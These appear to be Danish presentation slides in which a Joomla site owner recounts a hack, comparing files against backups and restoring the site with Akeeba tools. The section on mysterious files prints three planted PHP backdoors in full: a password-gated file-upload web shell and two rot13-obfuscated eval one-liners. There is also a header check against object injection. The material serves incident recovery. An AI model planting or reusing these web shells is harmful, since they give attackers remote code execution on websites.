



# Jeg er blevet hacket


Ole Toustrup (ole@toustrup.dk)

# Hvordan startede det?

**(!)** Notice: Undefined index: HTTP\_X\_FORWARDED\_FOR in C:\wamp\www\...includes\defines.php on line 11

Call Stack

#	Time	Memory	Function	Location
1	0.0007	139248	{main}()	..\index.php:0
2	0.0017	147056	require_once( 'C:\wamp\www\...includes\defines.php' )	..\index.php:33



▫ Velkommen

▫ Hvem er vi?

Velkommen

Adre

# Hvad var galt?

```
1 <?php
2 /**
3  * @package    Joomla.Site
4  *
5  * @copyright  Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
6  * @license    GNU General Public License version 2 or later; see LICENSE.txt
7  */
8
9 defined('_JEXEC') or die;
10
11 if(preg_match('!O:[0-9]+:!"!iUs', $_SERVER['HTTP_USER_AGENT']) || preg_match('!O:[0-9]+:!"!iUs', $_SERVER['HTTP_X_FORWARDED_FOR'])) die();
12
13 // Global definitions
14 $parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);
15
16 // Defines.
17 define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR, $parts));
18 define('JPATH_SITE',         JPATH_ROOT);
19 define('JPATH_CONFIGURATION', JPATH_ROOT);
20 define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
21 define('JPATH_LIBRARIES',     JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
22 define('JPATH_PLUGINS',       JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
23 define('JPATH_INSTALLATION', JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
24 define('JPATH_THEMES',        JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
25 define('JPATH_CACHE',         JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');
26 define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
27
```

## Hvilke værktøjer bruger jeg?

- \* Akeeba Backup - selvfølgelig
- \* FileZilla (FTP)
- \* WAMP (localhost)
- \* Beyond Compare (sammelijning af store datamængde)
- \* Akeeba eXtract Wizard (udpakning af filer)
- \* Akeeba Kickstart (Endelig udpakning på websted)
- \* GoodSync (flytning af data fra web til egen server og omvendt)

## Hvad gjorde jeg?

- \* Kontrollerede defekte fil
- \* Pakkede gamle backupper ud med Akeeba eXtract
- \* Kontrollerede gamle backupper. Hvor var defekten ikke.
- \* Kontrollerede de udpakkede biblioteker med Beyond Compare (før og efter hacket)
- \* Slettede alt på webstedet
- \* Uploadede udpakkede Kickstart-filer
- \* Uploadede den seneste raske backup
- \* Kørte Kickstart



# Kickstart.php

Vil du have hjælp til dette værktøj? Læs dette først: [Hurtig startguide](#)

## 1 Vælg en arkivfil

IMPORT FROM URL

ARKIV MAPPE:

C:/wamp/www/test-hacket/

Opdatér

ARKIVFIL:

site-www.4...-20151222-130243.jpá

ARKIV ADGANGSKODE (FOR JPS FILER)

## 2 Vælg en udpakningsmetode

SKRIV TIL FILER:

Hybrid (Brug kun FTP hvis krævet)

Vælg: Direkte

IGNORÉR FLESTE FEJL

(S)FTP UDBYDERNAVN:

localhost

(S)FTP PORT:

21

BRUG FTP OVER SSL (FTPS)

BRUG FTP PASSIV TILSTAND

(S)FTP BRUGERNAVN:

# Kontrol vha. Beyond Compare (Har backup)

Name	Size
components	1,220,692
com_search	30,948
models	5,614
cp1251-d0.php	670
media	11,152,515
plugin_googlemap3	211,228
site	211,172
moodalbox	20,436
css	1,450
conf-a99.php	134
templates	2,154,093
jsn_epic_pro	1,648,353
html	721,216
mod_finder	5,682
cgi-60.php	134

# De mystiske filer

CodePage 1251 = Russisk/Bulgarsk/Serbisk



```
cp1251-d0.bt x
1 <?php if(md5($_GET["ms-load"])=="e08b05f8a31b0f56a9349c89000375d2"){
2 $p=$_SERVER["DOCUMENT_ROOT"];
3 $tyuf=dirname(__FILE__);
4 echo <<<HTML
5 <form enctype="multipart/form-data" method="POST">
6 Path:$p<br>
7 <input name="file" type="file"><br>
8 To:<br>
9 <input size="48" value="$tyuf/" name="pt" type="text"><br>
10 <input type="submit" value="Upload">
11 $tend
12 HTML;
13 if (isset($_POST["pt"])){
14 $uploadfile = $_POST["pt"].$_FILES["file"]["name"];
15 if ($_POST["pt"]==""){ $uploadfile = $_FILES["file"]["name"];}
16 if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
17 echo"uploaded:$uploadfile\n";
18 echo"Size:".$_FILES["file"]["size"]."\n";
19 }else {
20 print "Error:\n";
21 }
22 }
23 }
24 }
```

```
conf-a99.bt x
1 <?php if($_GET['test']){echo 'success';}else{($www= $_POST['baysq']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');}
```

```
cgi-60.bt x
1 <?php if($_GET['test']){echo 'success';}else{($www= $_POST['vb65e']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');}
```



Hvad med databasen?

- \* Kun talt om filgennemgang

- \* Hvad med databasen?

- \* Tag backup af database i WAMP (som sql-fil)

- \* Igen kommer Beyond Compare på banen